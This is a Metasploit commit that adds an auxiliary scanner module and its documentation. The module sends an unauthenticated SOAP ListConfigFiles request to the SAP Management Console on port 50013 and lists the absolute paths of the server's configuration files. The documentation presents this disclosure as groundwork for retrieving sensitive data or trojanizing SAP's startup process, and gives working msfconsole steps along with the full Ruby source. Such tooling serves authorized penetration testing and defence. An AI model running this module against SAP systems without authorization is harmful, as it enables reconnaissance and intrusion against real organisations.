Land #11282, Support to retrieve data from ListConfigFiles SAP webmethod
commit
bb97a5eba0
|
@ -0,0 +1,60 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
This applies to all versions of SAP software.
|
||||
|
||||
The SAP Management Console (SAP MC) provides a common framework for centralized system management. It allows you to monitor and perform basic administration tasks on the SAP system centrally, which simplifies system administration. (https://help.sap.com/doc/saphelp_nwpi711/7.1.1/en-US/fa/ec218eb89b4424a9a0b423b0643952/frameset.htm)
|
||||
|
||||
SAP exposes an API on port tcp/50013 with the SOAP Management Console. Some webmethods are authenticated with a valid login/password and others are unauthenticated and reacheable by default.
|
||||
|
||||
With this module you can list the config files that SAP loads when starts the SAP server. This unauthenticated information disclosure can be used in a more advanced attack to get knowledge about in which paths SAP stores the config files to, for example, retrieve sensitive data or trojanize the startup process.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps:
|
||||
|
||||
1. Install the SAP application. SAP provides a docker container for development purposes: https://developers.sap.com/tutorials/hxe-ua-install-using-docker.html
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles```
|
||||
4. Set up the server IP: ```set RHOSTS 192.168.10.45```
|
||||
5. Do: ```run```
|
||||
6. You will receive the list of SAP configuration files on the server.
|
||||
|
||||
## Options
|
||||
|
||||
**RHOSTS**: Set up which server or servers do you want to test
|
||||
|
||||
**RPORT**: Port tcp/50013 set up by default
|
||||
|
||||
In case of more advanced deployments you can set up the SSL parameters here:
|
||||
|
||||
**SSL**: Set to ```true```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example
|
||||
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles
|
||||
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options
|
||||
|
||||
Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 50013 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
URI / no Path to the SAP Management Console
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45
|
||||
RHOSTS => 192.168.10.45
|
||||
msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run
|
||||
[...]
|
||||
|
||||
```
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'SAP Management Console List Config Files',
|
||||
'Description' => %q{
|
||||
This module attempts to list the config files
|
||||
through the SAP Management Console SOAP Interface.
|
||||
Returns a list of config files found in the SAP configuration with its
|
||||
absolute paths inside the server filesystem.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Chris John Riley', # Original msf module
|
||||
'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
])
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if not res
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
enum_instance(ip)
|
||||
end
|
||||
|
||||
def enum_instance(rhost)
|
||||
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:ListConfigFiles'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
|
||||
data << '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
unless res
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 500 && res.body =~ %r{<faultstring>(.*)</faultstring>}i
|
||||
print_error("#{rhost}:#{rport} [SAP] Error code: #{$1.strip}")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200 && res.body =~ %r{<item>([^<]+)</item>}i
|
||||
env = res.body.scan(%r{<item>([^<]+)</item>}i)
|
||||
print_good("#{rhost}:#{rport} [SAP] List of Config Files")
|
||||
env.each do |output|
|
||||
print_good(output.first)
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue